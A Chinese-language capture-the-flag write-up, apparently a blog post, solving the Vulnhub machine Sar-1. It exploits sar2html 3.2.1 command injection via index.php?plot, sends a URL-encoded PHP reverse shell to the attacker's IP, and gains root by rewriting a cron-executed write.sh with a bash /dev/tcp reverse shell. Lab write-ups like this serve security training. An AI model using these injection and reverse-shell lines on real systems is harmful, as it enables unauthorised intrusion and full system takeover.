Vulnhub:Sar-1

1 篇文章 0 订阅
1 篇文章 0 订阅

信息收集

锁靶机IP
在这里插入图片描述
只开放了80端口
在这里插入图片描述

目录扫描
在这里插入图片描述

robots.txt下记录的网址
在这里插入图片描述
根据暴露出的信息试着找下有没有exp

在这里插入图片描述
因为是php站点,这里就使用第二个进行测试

└─# batcat 47204.txt  
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: 47204.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1# Exploit Title: sar2html Remote Code Execution
   2# Date: 01/08/2019
   3# Exploit Author: Furkan KAYAPINAR
   4# Vendor Homepage:https://github.com/cemtan/sar2html
   5# Software Link: https://sourceforge.net/projects/sar2html/
   6# Version: 3.2.1
   7# Tested on: Centos 7
   89   │ In web application you will see index.php?plot url extension.
  1011   │ http://<ipaddr>/index.php?plot=;<command-here> will execute
  12   │ the command you entered. After command injection press "select # host" then your command's
  13   │ output will appear bottom side of the scroll screen.

访问网站的index.php然后传参即可rce
在这里插入图片描述

反弹shell
这里选择php反弹shell

http://192.168.30.136/sar2HTML/index.php?plot=;php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.30.128%22%2C4444%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27

url编码一下
因为是ubuntu的靶机,所有python反弹应该也是可以的

然后用脚本枚举提权
给一下权限

chmod 777 linpeas.sh

在这里插入图片描述
其中发现一段sudo权限
在这里插入图片描述

cat finally.sh
#!/bin/sh

./write.sh

在这里插入图片描述
使用计划任务提权
发现finally在以sudo的权限运行write的脚本
那这里我们如果重写write的内容,就可以尝试反弹一个root的shell

write.sh

#!/bin/bash

bash -i >& /dev/tcp/192.168.30.128/5678 0>&1

该脚本位每5分钟就执行一次
在这里插入图片描述
所以上传完重写的write后开个端口监听等着就完事了

拿到root后就cat root.txt即可
这里我一直等不到shell出来,就没有截图了

靶机整体简单,就是 www-data->root这里需要理解一下,执行的脚本是绕过了love用户直接拿到root。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值